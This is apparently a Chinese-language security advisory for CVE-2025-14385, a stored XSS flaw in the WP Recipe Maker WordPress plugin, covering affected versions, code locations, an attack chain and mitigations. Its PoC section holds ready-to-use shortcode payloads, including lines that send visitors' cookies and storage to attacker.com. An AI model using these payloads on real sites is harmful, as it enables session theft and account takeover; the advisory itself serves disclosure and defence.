IPBUF安全漏洞报告
English
CVE-2025-14385 CVSS 6.4 中危

CVE-2025-14385 WP Recipe Maker存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-14385
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Recipe Maker(WordPress插件)

相关标签

CVE-2025-14385存储型XSS跨站脚本攻击WordPress插件漏洞WP Recipe Maker短代码注入权限提升会话劫持CVSS 6.4中危漏洞

漏洞概述

WP Recipe Maker是一款流行的WordPress食谱制作插件,在全球范围内被广泛使用。该插件在10.2.3及以下所有版本中存在一个严重的存储型跨站脚本(Stored XSS)漏洞。漏洞源于wprm-recipe-roundup-item短代码中的'name'参数处理不当,插件未能对用户输入进行充分的输入清理和输出转义。攻击者利用此漏洞可以通过在短代码属性中注入恶意JavaScript代码,当其他用户访问包含该恶意内容的页面时,注入的脚本将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该插件用户基数大且此漏洞影响所有版本,建议所有使用者立即采取修复措施。

技术细节

该漏洞是一个典型的存储型XSS漏洞,存在于WP Recipe Maker插件的wprm-recipe-roundup-item短代码处理逻辑中。具体问题代码位于class-wprm-recipe-roundup.php文件的第244行和第372行附近,以及class-wprm-sc-name.php文件的第83行。问题根源在于插件在处理短代码的'name'参数时,直接将用户提供的属性值输出到HTML页面,而没有进行适当的输入验证和输出编码。攻击者只需拥有WordPress的Contributor角色(低权限角色),即可在文章或页面中插入包含恶意脚本的[wprm-recipe-roundup-item]短代码。由于数据被存储在数据库中(存储型),所有访问该页面的用户都会触发恶意代码执行。这种漏洞的危害性在于:1)攻击可持续存在;2)可影响所有访问该页面的用户;3)可窃取敏感信息或劫持会话。攻击者通常利用此漏洞进行凭证窃取、会话劫持或作为进一步攻击的跳板。

攻击链分析

STEP 1
步骤1:侦察与权限获取
攻击者获取WordPress网站的 Contributor 级别账户,该角色通常只需要注册即可获得,具有基本的文章撰写权限但无法直接发布内容。
STEP 2
步骤2:恶意载荷构造
攻击者构造包含恶意JavaScript代码的wprm-recipe-roundup-item短代码,利用'name'参数注入<script>标签或事件处理器(如onerror、onmouseover等)。
STEP 3
步骤3:内容注入与存储
攻击者将构造好的短代码插入到文章或页面中,通过提交审核(Contributor角色提交的内容需管理员审核)或利用其他方式使内容被保存到数据库中。
STEP 4
步骤4:恶意代码持久化
带有恶意载荷的内容被存储在WordPress数据库中,成为页面的一部分。只要该页面存在,恶意代码就会持续存在。
STEP 5
步骤5:受害者访问触发
当管理员审核通过或普通用户访问包含恶意代码的页面时,浏览器会解析HTML页面并执行注入的JavaScript代码,无需受害者进行任何额外操作。
STEP 6
步骤6:数据窃取与账户接管
恶意脚本执行后,可窃取用户的会话Cookie、劫持用户会话、窃取敏感信息或在受害者浏览器中执行任意JavaScript操作,从而完全控制受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Basic PoC: Stored XSS via wprm-recipe-roundup-item shortcode name parameter --> [wprm-recipe-roundup-item name='"><script>alert(document.cookie)</script><x y='"] <!-- More sophisticated PoC: Session hijacking --> [wprm-recipe-roundup-item name='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'></img>'] <!-- PoC with context-aware bypass --> [wprm-recipe-roundup-item name='test" onmouseover='alert(1)' x='"] <!-- Complete exploitation scenario --> <script> // When embedded in page content, this payload will execute // for every visitor viewing the infected page var stolen_data = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }; // Send stolen data to attacker-controlled server // fetch('https://attacker.com/exfil', {method: 'POST', body: JSON.stringify(stolen_data)}); </script>

影响范围

WP Recipe Maker <= 10.2.3(所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)禁用或删除wprm-recipe-roundup-item短代码功能;2)限制Contributor角色的文章编辑权限;3)实施严格的发布前审核流程;4)使用WordPress安全插件监控异常内容;5)考虑暂时禁用WP Recipe Maker插件直到完成升级。同时建议审查所有使用过[wprm-recipe-roundup-item]短代码的历史内容,清理可能存在的恶意载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表